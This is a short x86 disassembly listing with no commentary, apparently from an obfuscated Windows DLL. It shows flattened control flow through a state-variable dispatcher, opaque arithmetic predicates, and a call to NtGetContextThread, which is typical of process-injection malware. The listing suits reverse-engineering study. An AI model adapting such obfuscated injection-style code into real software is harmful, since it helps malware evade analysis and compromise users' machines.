mov eax, 0xdaa564f
mov ecx, 0x2889759
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
sub edx, 0xe05f6ab6
sub edx, 1
add edx, 0xe05f6ab6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xde978185
mov ecx, 0x6974dbfc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dword [ebp - 0x198], 0x14d6a4d9
jmp 0x10010b87
mov dword [ebp - 0x198], 0x9b2f9c48
jmp 0x10010b87
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0xbca333a4
jmp 0x10010b87
mov dword [ebp - 0x198], 0x92f6caf8
jmp 0x10010b87
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x84]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0xd2e8ede4
jmp 0x10010b87
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax + 0xc0]
mov ecx, dword [ebp - 0x74]
add ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0xb8436193
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x557a5902
mov ecx, 0x16454096
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x198], 0x69f42761
jmp 0x10010b87
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x198], 0x7f4bdff9
jmp 0x10010b87
mov dword [ebp - 0x198], 0x5824298c
jmp 0x10010b87
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x198], 0x8ff24946
jmp 0x10010b87
mov dword [ebp - 0x198], 0xc8f9fc83
jmp 0x10010b87
mov dword [ebp - 0x198], 0x9f5bc225
jmp 0x10010b87
mov dword [ebp - 0x198], 0xc146512
jmp 0x10010b87
mov al, byte [ebp - 0x102]
mov dword [ebp - 0x198], 0xfbfcc512
jmp 0x10010b87
jmp 0x10009a40